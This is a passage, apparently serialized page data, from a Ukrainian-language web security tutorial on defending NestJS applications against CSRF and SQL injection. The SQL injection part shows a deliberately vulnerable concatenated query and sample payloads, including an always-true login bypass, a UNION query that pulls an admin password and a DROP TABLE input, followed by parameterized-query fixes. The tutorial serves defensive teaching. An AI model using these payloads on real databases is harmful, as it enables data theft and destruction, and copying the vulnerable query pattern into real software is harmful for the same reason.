});\n",[5260,7833,7834],{"class":5262,"line":5611},[5260,7835,5577],{"emptyLinePlaceholder":5576},[5260,7837,7838,7840,7842,7844,7847],{"class":5262,"line":5637},[5260,7839,5562],{"class":5294},[5260,7841,6474],{"class":5273},[5260,7843,6925],{"class":5341},[5260,7845,7846],{"class":5284}," 'Logged in successfully'",[5260,7848,7849],{"class":5273}," };\n",[5260,7851,7852],{"class":5262,"line":5643},[5260,7853,5417],{"class":5273},[5260,7855,7856],{"class":5262,"line":5649},[5260,7857,5423],{"class":5273},[5089,7859,7860],{},[5099,7861,7862],{},"Значення SameSite:",[7864,7865,7866,7881],"table",{},[7867,7868,7869],"thead",{},[7870,7871,7872,7876,7879],"tr",{},[7873,7874,7875],"th",{},"Значення",[7873,7877,7878],{},"Опис",[7873,7880,7187],{},[7882,7883,7884,7902,7915],"tbody",{},[7870,7885,7886,7892,7899],{},[7887,7888,7889],"td",{},[5200,7890,7891],{},"Strict",[7887,7893,7894,7895,7898],{},"Cookie ",[5099,7896,7897],{},"не"," відправляється у cross-site запитах",[7887,7900,7901],{},"✅ Повний захист",[7870,7903,7904,7909,7912],{},[7887,7905,7906],{},[5200,7907,7908],{},"Lax",[7887,7910,7911],{},"Cookie відправляється лише для безпечних методів (GET) з топ-level navigation",[7887,7913,7914],{},"⚠️ Частковий захист",[7870,7916,7917,7922,7929],{},[7887,7918,7919],{},[5200,7920,7921],{},"None",[7887,7923,7924,7925,7928],{},"Cookie завжди відправляється (потрібен ",[5200,7926,7927],{},"Secure",")",[7887,7930,7931],{},"❌ Немає захисту",[5089,7933,7934,7937,7938,7941],{},[5099,7935,7936],{},"Рекомендація:"," використовуйте ",[5200,7939,7940],{},"SameSite=Strict"," для session cookies.",[7943,7944,7945,7948,7949,5383],"note",{},[5099,7946,7947],{},"SameSite=Strict може порушити UX:"," якщо користувач переходить на ваш сайт з зовнішнього джерела (наприклад, email посилання), він буде вважатися неавтентифікованим до першого GET запиту. Для таких випадків використовуйте ",[5200,7950,7951],{},"SameSite=Lax",[5238,7953,7955],{"id":7954},"_3-перевірка-origin-та-referer-заголовків","3. Перевірка Origin та Referer заголовків",[5251,7957,7959],{"className":5253,"code":7958,"language":5255,"meta":5256,"style":5256},"\u002F\u002F src\u002Fcommon\u002Fguards\u002Fcsrf-origin.guard.ts\nimport { Injectable, CanActivate, ExecutionContext, ForbiddenException } from '@nestjs\u002Fcommon';\n\n@Injectable()\nexport class CsrfOriginGuard implements CanActivate {\n  canActivate(context: ExecutionContext): boolean {\n    const request = context.switchToHttp().getRequest();\n    const allowedOrigins = ['https:\u002F\u002Fexample.com', 'https:\u002F\u002Fapp.example.com'];\n\n    const origin = request.get('origin') || request.get('referer');\n\n    if (!origin) {\n      \u002F\u002F Немає Origin\u002FReferer — можливо пряме API звернення\n      return true;\n    }\n\n    const originUrl = new URL(origin);\n    if (!allowedOrigins.includes(originUrl.origin)) {\n      throw new ForbiddenException('Invalid origin');\n    }\n\n    return true;\n  }\n}\n",[5200,7960,7961,7966,7998,8002,8010,8027,8048,8072,8093,8097,8135,8139,8152,8157,8166,8171,8175,8195,8221,8239,8243,8247,8255,8260],{"__ignoreMap":5256},[5260,7962,7963],{"class":5262,"line":5263},[5260,7964,7965],{"class":5266},"\u002F\u002F src\u002Fcommon\u002Fguards\u002Fcsrf-origin.guard.ts\n",[5260,7967,7968,7970,7972,7974,7976,7979,7981,7984,7986,7989,7991,7993,7996],{"class":5262,"line":5270},[5260,7969,5938],{"class":5294},[5260,7971,6474],{"class":5273},[5260,7973,7688],{"class":5341},[5260,7975,6012],{"class":5273},[5260,7977,7978],{"class":5341},"CanActivate",[5260,7980,6012],{"class":5273},[5260,7982,7983],{"class":5341},"ExecutionContext",[5260,7985,6012],{"class":5273},[5260,7987,7988],{"class":5341},"ForbiddenException",[5260,7990,6480],{"class":5273},[5260,7992,6483],{"class":5294},[5260,7994,7995],{"class":5284}," '@nestjs\u002Fcommon'",[5260,7997,5567],{"class":5273},[5260,7999,8000],{"class":5262,"line":5291},[5260,8001,5577],{"emptyLinePlaceholder":5576},[5260,8003,8004,8006,8008],{"class":5262,"line":5309},[5260,8005,5274],{"class":5273},[5260,8007,7688],{"class":5277},[5260,8009,5318],{"class":5273},[5260,8011,8012,8014,8016,8019,8022,8025],{"class":5262,"line":5321},[5260,8013,5295],{"class":5294},[5260,8015,5299],{"class":5298},[5260,8017,8018],{"class":5302}," CsrfOriginGuard",[5260,8020,8021],{"class":5298}," implements",[5260,8023,8024],{"class":5302}," CanActivate",[5260,8026,5306],{"class":5273},[5260,8028,8029,8032,8034,8037,8039,8041,8043,8046],{"class":5262,"line":5371},[5260,8030,8031],{"class":5277},"  canActivate",[5260,8033,5281],{"class":5273},[5260,8035,8036],{"class":5341},"context",[5260,8038,5345],{"class":5273},[5260,8040,7983],{"class":5302},[5260,8042,6115],{"class":5273},[5260,8044,8045],{"class":5302},"boolean",[5260,8047,5306],{"class":5273},[5260,8049,8050,8052,8055,8057,8059,8061,8064,8067,8070],{"class":5262,"line":5377},[5260,8051,5528],{"class":5298},[5260,8053,8054],{"class":5531}," request",[5260,8056,5535],{"class":5273},[5260,8058,8036],{"class":5341},[5260,8060,5383],{"class":5273},[5260,8062,8063],{"class":5277},"switchToHttp",[5260,8065,8066],{"class":5273},"().",[5260,8068,8069],{"class":5277},"getRequest",[5260,8071,5634],{"class":5273},[5260,8073,8074,8076,8079,8082,8085,8087,8090],{"class":5262,"line":5408},[5260,8075,5528],{"class":5298},[5260,8077,8078],{"class":5531}," allowedOrigins",[5260,8080,8081],{"class":5273}," = [",[5260,8083,8084],{"class":5284},"'https:\u002F\u002Fexample.com'",[5260,8086,6012],{"class":5273},[5260,8088,8089],{"class":5284},"'https:\u002F\u002Fapp.example.com'",[5260,8091,8092],{"class":5273},"];\n",[5260,8094,8095],{"class":5262,"line":5414},[5260,8096,5577],{"emptyLinePlaceholder":5576},[5260,8098,8099,8101,8104,8106,8109,8111,8114,8116,8119,8122,8124,8126,8128,8130,8133],{"class":5262,"line":5420},[5260,8100,5528],{"class":5298},[5260,8102,8103],{"class":5531}," origin",[5260,8105,5535],{"class":5273},[5260,8107,8108],{"class":5341},"request",[5260,8110,5383],{"class":5273},[5260,8112,8113],{"class":5277},"get",[5260,8115,5281],{"class":5273},[5260,8117,8118],{"class":5284},"'origin'",[5260,8120,8121],{"class":5273},") || ",[5260,8123,8108],{"class":5341},[5260,8125,5383],{"class":5273},[5260,8127,8113],{"class":5277},[5260,8129,5281],{"class":5273},[5260,8131,8132],{"class":5284},"'referer'",[5260,8134,5405],{"class":5273},[5260,8136,8137],{"class":5262,"line":5580},[5260,8138,5577],{"emptyLinePlaceholder":5576},[5260,8140,8141,8144,8147,8150],{"class":5262,"line":5589},[5260,8142,8143],{"class":5294},"    if",[5260,8145,8146],{"class":5273}," (!",[5260,8148,8149],{"class":5341},"origin",[5260,8151,5368],{"class":5273},[5260,8153,8154],{"class":5262,"line":5611},[5260,8155,8156],{"class":5266},"      \u002F\u002F Немає Origin\u002FReferer — можливо пряме API звернення\n",[5260,8158,8159,8162,8164],{"class":5262,"line":5637},[5260,8160,8161],{"class":5294},"      return",[5260,8163,7365],{"class":5298},[5260,8165,5567],{"class":5273},[5260,8167,8168],{"class":5262,"line":5643},[5260,8169,8170],{"class":5273},"    }\n",[5260,8172,8173],{"class":5262,"line":5649},[5260,8174,5577],{"emptyLinePlaceholder":5576},[5260,8176,8177,8179,8182,8184,8186,8189,8191,8193],{"class":5262,"line":5662},[5260,8178,5528],{"class":5298},[5260,8180,8181],{"class":5531}," originUrl",[5260,8183,5535],{"class":5273},[5260,8185,6504],{"class":5298},[5260,8187,8188],{"class":5277}," URL",[5260,8190,5281],{"class":5273},[5260,8192,8149],{"class":5341},[5260,8194,5405],{"class":5273},[5260,8196,8197,8199,8201,8204,8206,8209,8211,8214,8216,8218],{"class":5262,"line":5698},[5260,8198,8143],{"class":5294},[5260,8200,8146],{"class":5273},[5260,8202,8203],{"class":5341},"allowedOrigins",[5260,8205,5383],{"class":5273},[5260,8207,8208],{"class":5277},"includes",[5260,8210,5281],{"class":5273},[5260,8212,8213],{"class":5341},"originUrl",[5260,8215,5383],{"class":5273},[5260,8217,8149],{"class":5341},[5260,8219,8220],{"class":5273},")) {\n",[5260,8222,8223,8226,8229,8232,8234,8237],{"class":5262,"line":5713},[5260,8224,8225],{"class":5294},"      throw",[5260,8227,8228],{"class":5298}," new",[5260,8230,8231],{"class":5277}," ForbiddenException",[5260,8233,5281],{"class":5273},[5260,8235,8236],{"class":5284},"'Invalid origin'",[5260,8238,5405],{"class":5273},[5260,8240,8241],{"class":5262,"line":5718},[5260,8242,8170],{"class":5273},[5260,8244,8245],{"class":5262,"line":5734},[5260,8246,5577],{"emptyLinePlaceholder":5576},[5260,8248,8249,8251,8253],{"class":5262,"line":5739},[5260,8250,5562],{"class":5294},[5260,8252,7365],{"class":5298},[5260,8254,5567],{"class":5273},[5260,8256,8258],{"class":5262,"line":8257},23,[5260,8259,5417],{"class":5273},[5260,8261,8263],{"class":5262,"line":8262},24,[5260,8264,5423],{"class":5273},[5089,8266,8267],{},[5099,8268,8269],{},"Застосування до маршрутів, що змінюють дані:",[5251,8271,8273],{"className":5253,"code":8272,"language":5255,"meta":5256,"style":5256},"@Controller('bank')\nexport class BankController {\n  @Post('transfer')\n  @UseGuards(CsrfOriginGuard)\n  async transfer(@Body() dto: TransferDto) {\n    return this.bankService.transfer(dto);\n  }\n}\n",[5200,8274,8275,8288,8299,8311,8325,8345,8365,8369],{"__ignoreMap":5256},[5260,8276,8277,8279,8281,8283,8286],{"class":5262,"line":5263},[5260,8278,5274],{"class":5273},[5260,8280,5278],{"class":5277},[5260,8282,5281],{"class":5273},[5260,8284,8285],{"class":5284},"'bank'",[5260,8287,5288],{"class":5273},[5260,8289,8290,8292,8294,8297],{"class":5262,"line":5270},[5260,8291,5295],{"class":5294},[5260,8293,5299],{"class":5298},[5260,8295,8296],{"class":5302}," BankController",[5260,8298,5306],{"class":5273},[5260,8300,8301,8303,8305,8307,8309],{"class":5262,"line":5291},[5260,8302,5312],{"class":5273},[5260,8304,5491],{"class":5277},[5260,8306,5281],{"class":5273},[5260,8308,7590],{"class":5284},[5260,8310,5288],{"class":5273},[5260,8312,8313,8315,8318,8320,8323],{"class":5262,"line":5309},[5260,8314,5312],{"class":5273},[5260,8316,8317],{"class":5277},"UseGuards",[5260,8319,5281],{"class":5273},[5260,8321,8322],{"class":5341},"CsrfOriginGuard",[5260,8324,5288],{"class":5273},[5260,8326,8327,8329,8331,8333,8335,8337,8339,8341,8343],{"class":5262,"line":5321},[5260,8328,5498],{"class":5298},[5260,8330,7599],{"class":5277},[5260,8332,5327],{"class":5273},[5260,8334,5506],{"class":5277},[5260,8336,5357],{"class":5273},[5260,8338,5511],{"class":5341},[5260,8340,5345],{"class":5273},[5260,8342,7612],{"class":5302},[5260,8344,5368],{"class":5273},[5260,8346,8347,8349,8351,8353,8355,8357,8359,8361,8363],{"class":5262,"line":5371},[5260,8348,5562],{"class":5294},[5260,8350,5541],{"class":5298},[5260,8352,5383],{"class":5273},[5260,8354,7630],{"class":5341},[5260,8356,5383],{"class":5273},[5260,8358,7635],{"class":5277},[5260,8360,5281],{"class":5273},[5260,8362,5511],{"class":5341},[5260,8364,5405],{"class":5273},[5260,8366,8367],{"class":5262,"line":5377},[5260,8368,5417],{"class":5273},[5260,8370,8371],{"class":5262,"line":5408},[5260,8372,5423],{"class":5273},[5238,8374,8376],{"id":8375},"_4-вимога-custom-headers-для-api","4. Вимога custom headers для API",[5089,8378,8379],{},"API запити з JavaScript можуть включати custom headers, які cross-site форми не можуть додати:",[5251,8381,8383],{"className":5253,"code":8382,"language":5255,"meta":5256,"style":5256},"\u002F\u002F Frontend\nconst response = await fetch('\u002Fapi\u002Ftransfer', {\n  method: 'POST',\n  headers: {\n    'Content-Type': 'application\u002Fjson',\n    'X-Requested-With': 'XMLHttpRequest', \u002F\u002F Custom header\n  },\n  body: JSON.stringify({ to: 'account', amount: 100 }),\n});\n",[5200,8384,8385,8390,8411,8421,8428,8440,8455,8460,8492],{"__ignoreMap":5256},[5260,8386,8387],{"class":5262,"line":5263},[5260,8388,8389],{"class":5266},"\u002F\u002F Frontend\n",[5260,8391,8392,8394,8397,8399,8401,8404,8406,8409],{"class":5262,"line":5270},[5260,8393,5865],{"class":5298},[5260,8395,8396],{"class":5531}," response",[5260,8398,5535],{"class":5273},[5260,8400,5538],{"class":5294},[5260,8402,8403],{"class":5277}," fetch",[5260,8405,5281],{"class":5273},[5260,8407,8408],{"class":5284},"'\u002Fapi\u002Ftransfer'",[5260,8410,6587],{"class":5273},[5260,8412,8413,8416,8419],{"class":5262,"line":5291},[5260,8414,8415],{"class":5341},"  method:",[5260,8417,8418],{"class":5284}," 'POST'",[5260,8420,6156],{"class":5273},[5260,8422,8423,8426],{"class":5262,"line":5309},[5260,8424,8425],{"class":5341},"  headers:",[5260,8427,5306],{"class":5273},[5260,8429,8430,8433,8435,8438],{"class":5262,"line":5321},[5260,8431,8432],{"class":5284},"    'Content-Type'",[5260,8434,6150],{"class":5341},[5260,8436,8437],{"class":5284}," 'application\u002Fjson'",[5260,8439,6156],{"class":5273},[5260,8441,8442,8445,8447,8450,8452],{"class":5262,"line":5371},[5260,8443,8444],{"class":5284},"    'X-Requested-With'",[5260,8446,6150],{"class":5341},[5260,8448,8449],{"class":5284}," 'XMLHttpRequest'",[5260,8451,6012],{"class":5273},[5260,8453,8454],{"class":5266},"\u002F\u002F Custom header\n",[5260,8456,8457],{"class":5262,"line":5377},[5260,8458,8459],{"class":5273},"  },\n",[5260,8461,8462,8465,8468,8470,8473,8475,8478,8481,8483,8486,8489],{"class":5262,"line":5408},[5260,8463,8464],{"class":5341},"  body:",[5260,8466,8467],{"class":5531}," JSON",[5260,8469,5383],{"class":5273},[5260,8471,8472],{"class":5277},"stringify",[5260,8474,7359],{"class":5273},[5260,8476,8477],{"class":5341},"to:",[5260,8479,8480],{"class":5284}," 'account'",[5260,8482,6012],{"class":5273},[5260,8484,8485],{"class":5341},"amount:",[5260,8487,8488],{"class":5893}," 100",[5260,8490,8491],{"class":5273}," }),\n",[5260,8493,8494],{"class":5262,"line":5414},[5260,8495,8496],{"class":5273},"});\n",[5089,8498,8499],{},[5099,8500,8501],{},"Backend перевірка:",[5251,8503,8505],{"className":5253,"code":8504,"language":5255,"meta":5256,"style":5256},"@Injectable()\nexport class ApiHeaderGuard implements CanActivate {\n  canActivate(context: ExecutionContext): boolean {\n    const request = context.switchToHttp().getRequest();\n    const header = request.get('X-Requested-With');\n\n    if (header !== 'XMLHttpRequest') {\n      throw new ForbiddenException('Missing required header');\n    }\n\n    return true;\n  }\n}\n",[5200,8506,8507,8515,8530,8548,8568,8590,8594,8612,8627,8631,8635,8643,8647],{"__ignoreMap":5256},[5260,8508,8509,8511,8513],{"class":5262,"line":5263},[5260,8510,5274],{"class":5273},[5260,8512,7688],{"class":5277},[5260,8514,5318],{"class":5273},[5260,8516,8517,8519,8521,8524,8526,8528],{"class":5262,"line":5270},[5260,8518,5295],{"class":5294},[5260,8520,5299],{"class":5298},[5260,8522,8523],{"class":5302}," ApiHeaderGuard",[5260,8525,8021],{"class":5298},[5260,8527,8024],{"class":5302},[5260,8529,5306],{"class":5273},[5260,8531,8532,8534,8536,8538,8540,8542,8544,8546],{"class":5262,"line":5291},[5260,8533,8031],{"class":5277},[5260,8535,5281],{"class":5273},[5260,8537,8036],{"class":5341},[5260,8539,5345],{"class":5273},[5260,8541,7983],{"class":5302},[5260,8543,6115],{"class":5273},[5260,8545,8045],{"class":5302},[5260,8547,5306],{"class":5273},[5260,8549,8550,8552,8554,8556,8558,8560,8562,8564,8566],{"class":5262,"line":5309},[5260,8551,5528],{"class":5298},[5260,8553,8054],{"class":5531},[5260,8555,5535],{"class":5273},[5260,8557,8036],{"class":5341},[5260,8559,5383],{"class":5273},[5260,8561,8063],{"class":5277},[5260,8563,8066],{"class":5273},[5260,8565,8069],{"class":5277},[5260,8567,5634],{"class":5273},[5260,8569,8570,8572,8575,8577,8579,8581,8583,8585,8588],{"class":5262,"line":5321},[5260,8571,5528],{"class":5298},[5260,8573,8574],{"class":5531}," header",[5260,8576,5535],{"class":5273},[5260,8578,8108],{"class":5341},[5260,8580,5383],{"class":5273},[5260,8582,8113],{"class":5277},[5260,8584,5281],{"class":5273},[5260,8586,8587],{"class":5284},"'X-Requested-With'",[5260,8589,5405],{"class":5273},[5260,8591,8592],{"class":5262,"line":5371},[5260,8593,5577],{"emptyLinePlaceholder":5576},[5260,8595,8596,8598,8601,8604,8607,8610],{"class":5262,"line":5377},[5260,8597,8143],{"class":5294},[5260,8599,8600],{"class":5273}," (",[5260,8602,8603],{"class":5341},"header",[5260,8605,8606],{"class":5273}," !== ",[5260,8608,8609],{"class":5284},"'XMLHttpRequest'",[5260,8611,5368],{"class":5273},[5260,8613,8614,8616,8618,8620,8622,8625],{"class":5262,"line":5408},[5260,8615,8225],{"class":5294},[5260,8617,8228],{"class":5298},[5260,8619,8231],{"class":5277},[5260,8621,5281],{"class":5273},[5260,8623,8624],{"class":5284},"'Missing required header'",[5260,8626,5405],{"class":5273},[5260,8628,8629],{"class":5262,"line":5414},[5260,8630,8170],{"class":5273},[5260,8632,8633],{"class":5262,"line":5420},[5260,8634,5577],{"emptyLinePlaceholder":5576},[5260,8636,8637,8639,8641],{"class":5262,"line":5580},[5260,8638,5562],{"class":5294},[5260,8640,7365],{"class":5298},[5260,8642,5567],{"class":5273},[5260,8644,8645],{"class":5262,"line":5589},[5260,8646,5417],{"class":5273},[5260,8648,8649],{"class":5262,"line":5611},[5260,8650,5423],{"class":5273},[5089,8652,8653,8655,8656,8659],{},[5099,8654,7650],{}," HTML форми ",[5099,8657,8658],{},"не можуть"," додавати custom headers. Лише JavaScript fetch\u002Faxios можуть це зробити, але через CORS їм потрібен дозвіл від сервера (який зловмисний сайт не отримає).",[5143,8661],{},[5084,8663,8665],{"id":8664},"sql-injection-інєкція-sql-команд","SQL Injection: Ін'єкція SQL команд",[5089,8667,8668,8670],{},[5099,8669,5113],{}," — це атака, при якій зловмисник впроваджує зловмисний SQL код через user input для маніпуляції запитами до бази даних. Це одна з найнебезпечніших вразливостей, що дозволяє зчитувати, змінювати або видаляти дані, обходити автентифікацію та навіть виконувати системні команди на сервері БД.",[5233,8672,8674],{"id":8673},"приклад-класичної-sql-injection-атаки","Приклад класичної SQL Injection атаки",[5089,8676,8677],{},[5099,8678,8679],{},"Вразливий код:",[5251,8681,8683],{"className":5253,"code":8682,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: конкатенація user input у SQL запит\n@Get('users\u002F:email')\nasync getUserByEmail(@Param('email') email: string) {\n  const query = `SELECT * FROM users WHERE email = '${email}'`;\n  const user = await this.dataSource.query(query);\n  return user;\n}\n",[5200,8684,8685,8690,8703,8731,8754,8782,8790],{"__ignoreMap":5256},[5260,8686,8687],{"class":5262,"line":5263},[5260,8688,8689],{"class":5266},"\u002F\u002F ❌ НЕБЕЗПЕЧНО: конкатенація user input у SQL запит\n",[5260,8691,8692,8694,8696,8698,8701],{"class":5262,"line":5270},[5260,8693,5274],{"class":5273},[5260,8695,5315],{"class":5277},[5260,8697,5281],{"class":5273},[5260,8699,8700],{"class":5284},"'users\u002F:email'",[5260,8702,5288],{"class":5273},[5260,8704,8705,8707,8710,8712,8715,8717,8720,8722,8725,8727,8729],{"class":5262,"line":5291},[5260,8706,6676],{"class":5341},[5260,8708,8709],{"class":5277}," getUserByEmail",[5260,8711,5327],{"class":5273},[5260,8713,8714],{"class":5277},"Param",[5260,8716,5281],{"class":5273},[5260,8718,8719],{"class":5284},"'email'",[5260,8721,5338],{"class":5273},[5260,8723,8724],{"class":5341},"email",[5260,8726,5345],{"class":5273},[5260,8728,5348],{"class":5341},[5260,8730,5368],{"class":5273},[5260,8732,8733,8735,8738,8740,8743,8745,8747,8749,8752],{"class":5262,"line":5309},[5260,8734,5807],{"class":5298},[5260,8736,8737],{"class":5531}," query",[5260,8739,5535],{"class":5273},[5260,8741,8742],{"class":5284},"`SELECT * FROM users WHERE email = '",[5260,8744,5394],{"class":5298},[5260,8746,8724],{"class":5341},[5260,8748,5399],{"class":5298},[5260,8750,8751],{"class":5284},"'`",[5260,8753,5567],{"class":5273},[5260,8755,8756,8758,8761,8763,8765,8767,8769,8772,8774,8776,8778,8780],{"class":5262,"line":5321},[5260,8757,5807],{"class":5298},[5260,8759,8760],{"class":5531}," user",[5260,8762,5535],{"class":5273},[5260,8764,5538],{"class":5294},[5260,8766,5541],{"class":5298},[5260,8768,5383],{"class":5273},[5260,8770,8771],{"class":5341},"dataSource",[5260,8773,5383],{"class":5273},[5260,8775,5342],{"class":5277},[5260,8777,5281],{"class":5273},[5260,8779,5342],{"class":5341},[5260,8781,5405],{"class":5273},[5260,8783,8784,8786,8788],{"class":5262,"line":5371},[5260,8785,6231],{"class":5294},[5260,8787,8760],{"class":5341},[5260,8789,5567],{"class":5273},[5260,8791,8792],{"class":5262,"line":5377},[5260,8793,5423],{"class":5273},[5089,8795,8796],{},[5099,8797,8798],{},"Нормальне використання:",[5251,8800,8803],{"className":8801,"code":8802,"language":5434},[5432],"GET \u002Fusers\u002Fjohn@example.com\n\nSQL: SELECT * FROM users WHERE email = 'john@example.com'\nРезультат: повертає користувача John\n",[5200,8804,8802],{"__ignoreMap":5256},[5089,8806,8807],{},[5099,8808,5428],{},[5251,8810,8813],{"className":8811,"code":8812,"language":5434},[5432],"GET \u002Fusers\u002F' OR '1'='1\n\nSQL: SELECT * FROM users WHERE email = '' OR '1'='1'\nРезультат: повертає ВСІ користувачі (бо '1'='1' завжди true)\n",[5200,8814,8812],{"__ignoreMap":5256},[5089,8816,8817],{},[5099,8818,8819],{},"Атака для витягування паролів:",[5251,8821,8824],{"className":8822,"code":8823,"language":5434},[5432],"GET \u002Fusers\u002F' UNION SELECT password FROM users WHERE email='admin@example.com\n\nSQL: SELECT * FROM users WHERE email = '' UNION SELECT password FROM users WHERE email='admin@example.com'\nРезультат: витягує пароль адміністратора\n",[5200,8825,8823],{"__ignoreMap":5256},[5089,8827,8828],{},[5099,8829,8830],{},"Атака для видалення даних:",[5251,8832,8835],{"className":8833,"code":8834,"language":5434},[5432],"GET \u002Fusers\u002F'; DROP TABLE users; --\n\nSQL: SELECT * FROM users WHERE email = ''; DROP TABLE users; --'\nРезультат: видаляє таблицю users!\n",[5200,8836,8834],{"__ignoreMap":5256},[5233,8838,8840],{"id":8839},"захист-від-sql-injection","Захист від SQL Injection",[5238,8842,8844],{"id":8843},"_1-параметризовані-запити-prepared-statements","1. Параметризовані запити (Prepared Statements)",[5089,8846,8847],{},[5099,8848,8849],{},"Безпечний код з TypeORM:",[5251,8851,8853],{"className":5253,"code":8852,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ БЕЗПЕЧНО: параметризований запит\n@Get('users\u002F:email')\nasync getUserByEmail(@Param('email') email: string) {\n  const user = await this.dataSource\n    .getRepository(User)\n    .createQueryBuilder('user')\n    .where('user.email = :email', { email }) \u002F\u002F Параметр :email\n    .getOne();\n  \n  return user;\n}\n",[5200,8854,8855,8860,8872,8896,8913,8927,8941,8962,8971,8975,8983],{"__ignoreMap":5256},[5260,8856,8857],{"class":5262,"line":5263},[5260,8858,8859],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: параметризований запит\n",[5260,8861,8862,8864,8866,8868,8870],{"class":5262,"line":5270},[5260,8863,5274],{"class":5273},[5260,8865,5315],{"class":5277},[5260,8867,5281],{"class":5273},[5260,8869,8700],{"class":5284},[5260,8871,5288],{"class":5273},[5260,8873,8874,8876,8878,8880,8882,8884,8886,8888,8890,8892,8894],{"class":5262,"line":5291},[5260,8875,6676],{"class":5341},[5260,8877,8709],{"class":5277},[5260,8879,5327],{"class":5273},[5260,8881,8714],{"class":5277},[5260,8883,5281],{"class":5273},[5260,8885,8719],{"class":5284},[5260,8887,5338],{"class":5273},[5260,8889,8724],{"class":5341},[5260,8891,5345],{"class":5273},[5260,8893,5348],{"class":5341},[5260,8895,5368],{"class":5273},[5260,8897,8898,8900,8902,8904,8906,8908,8910],{"class":5262,"line":5309},[5260,8899,5807],{"class":5298},[5260,8901,8760],{"class":5531},[5260,8903,5535],{"class":5273},[5260,8905,5538],{"class":5294},[5260,8907,5541],{"class":5298},[5260,8909,5383],{"class":5273},[5260,8911,8912],{"class":5341},"dataSource\n",[5260,8914,8915,8918,8921,8923,8925],{"class":5262,"line":5321},[5260,8916,8917],{"class":5273},"    .",[5260,8919,8920],{"class":5277},"getRepository",[5260,8922,5281],{"class":5273},[5260,8924,7726],{"class":5341},[5260,8926,5288],{"class":5273},[5260,8928,8929,8931,8934,8936,8939],{"class":5262,"line":5371},[5260,8930,8917],{"class":5273},[5260,8932,8933],{"class":5277},"createQueryBuilder",[5260,8935,5281],{"class":5273},[5260,8937,8938],{"class":5284},"'user'",[5260,8940,5288],{"class":5273},[5260,8942,8943,8945,8948,8950,8953,8955,8957,8959],{"class":5262,"line":5377},[5260,8944,8917],{"class":5273},[5260,8946,8947],{"class":5277},"where",[5260,8949,5281],{"class":5273},[5260,8951,8952],{"class":5284},"'user.email = :email'",[5260,8954,6922],{"class":5273},[5260,8956,8724],{"class":5341},[5260,8958,6931],{"class":5273},[5260,8960,8961],{"class":5266},"\u002F\u002F Параметр :email\n",[5260,8963,8964,8966,8969],{"class":5262,"line":5408},[5260,8965,8917],{"class":5273},[5260,8967,8968],{"class":5277},"getOne",[5260,8970,5634],{"class":5273},[5260,8972,8973],{"class":5262,"line":5414},[5260,8974,6226],{"class":5273},[5260,8976,8977,8979,8981],{"class":5262,"line":5420},[5260,8978,6231],{"class":5294},[5260,8980,8760],{"class":5341},[5260,8982,5567],{"class":5273},[5260,8984,8985],{"class":5262,"line":5580},[5260,8986,5423],{"class":5273},[5089,8988,8989],{},[5099,8990,8991],{},"Що відбувається під капотом:",[5089,8993,8994,8995,8998],{},"TypeORM передає параметри ",[5099,8996,8997],{},"окремо"," від SQL запиту:",[5251,9000,9004],{"className":9001,"code":9002,"language":9003,"meta":5256,"style":5256},"language-sql shiki shiki-themes light-plus dark-plus dark-plus","-- Запит\nSELECT * FROM users WHERE email = ?\n\n-- Параметри (передаються окремо)\n['john@example.com']\n","sql",[5200,9005,9006,9011,9031,9035,9040],{"__ignoreMap":5256},[5260,9007,9008],{"class":5262,"line":5263},[5260,9009,9010],{"class":5266},"-- Запит\n",[5260,9012,9013,9016,9019,9022,9025,9028],{"class":5262,"line":5270},[5260,9014,9015],{"class":5298},"SELECT",[5260,9017,9018],{"class":5273}," * ",[5260,9020,9021],{"class":5298},"FROM",[5260,9023,9024],{"class":5273}," users ",[5260,9026,9027],{"class":5298},"WHERE",[5260,9029,9030],{"class":5273}," email = ?\n",[5260,9032,9033],{"class":5262,"line":5291},[5260,9034,5577],{"emptyLinePlaceholder":5576},[5260,9036,9037],{"class":5262,"line":5309},[5260,9038,9039],{"class":5266},"-- Параметри (передаються окремо)\n",[5260,9041,9042],{"class":5262,"line":5321},[5260,9043,9044],{"class":5273},"['john@example.com']\n",[5089,9046,9047,9048,9051],{},"База даних ",[5099,9049,9050],{},"ніколи не інтерпретує параметри як SQL код"," — вони завжди трактуються як дані.",[5089,9053,9054],{},[5099,9055,9056],{},"Спроба атаки:",[5251,9058,9061],{"className":9059,"code":9060,"language":5434},[5432],"GET \u002Fusers\u002F' OR '1'='1\n\nSQL: SELECT * FROM users WHERE email = ?\nПараметри: [\"' OR '1'='1\"]\n\nРезультат: шукає користувача з email = \"' OR '1'='1\" (не знаходить)\n",[5200,9062,9060],{"__ignoreMap":5256},[5238,9064,9066],{"id":9065},"_2-orm-методи-замість-сирого-sql","2. ORM методи замість сирого SQL",[5251,9068,9070],{"className":5253,"code":9069,"language":5255,"meta":5256,"style":5256},"\u002F\u002F ✅ БЕЗПЕЧНО: використання ORM методів\n@Get('users')\nasync getUsers(@Query('role') role: string) {\n  \u002F\u002F TypeORM автоматично екранує параметри\n  return this.userRepository.find({\n    where: { role },\n  });\n}\n\n\u002F\u002F ✅ БЕЗПЕЧНО: Query Builder з параметрами\n@Get('posts')\nasync getPosts(@Query('authorId') authorId: string, @Query('status') status: string) {\n  return this.postRepository\n    .createQueryBuilder('post')\n    .where('post.authorId = :authorId', { authorId })\n    .andWhere('post.status = :status', { status })\n    .getMany();\n}\n",[5200,9071,9072,9077,9090,9117,9122,9140,9152,9156,9160,9164,9169,9182,9227,9238,9251,9269,9287,9296],{"__ignoreMap":5256},[5260,9073,9074],{"class":5262,"line":5263},[5260,9075,9076],{"class":5266},"\u002F\u002F ✅ БЕЗПЕЧНО: використання ORM методів\n",[5260,9078,9079,9081,9083,9085,9088],{"class":5262,"line":5270},[5260,9080,5274],{"class":5273},[5260,9082,5315],{"class":5277},[5260,9084,5281],{"class":5273},[5260,9086,9087],{"class":5284},"'users'",[5260,9089,5288],{"class":5273},[5260,9091,9092,9094,9097,9099,9101,9103,9106,9108,9111,9113,9115],{"class":5262,"line":5291},[5260,9093,6676],{"class":5341},[5260,9095,9096],{"class":5277}," getUsers",[5260,9098,5327],{"class":5273},[5260,9100,5330],{"class":5277},[5260,9102,5281],{"class":5273},[5260,9104,9105],{"class":5284},"'role'",[5260,9107,5338],{"class":5273},[5260,9109,9110],{"class":5341},"role",[5260,9112,5345],{"class":5273},[5260,9114,5348],{"class":5341},[5260,9116,5368],{"class":5273},[5260,9118,9119],{"class":5262,"line":5309},[5260,9120,9121],{"class":5266},"  \u002F\u002F TypeORM автоматично екранує 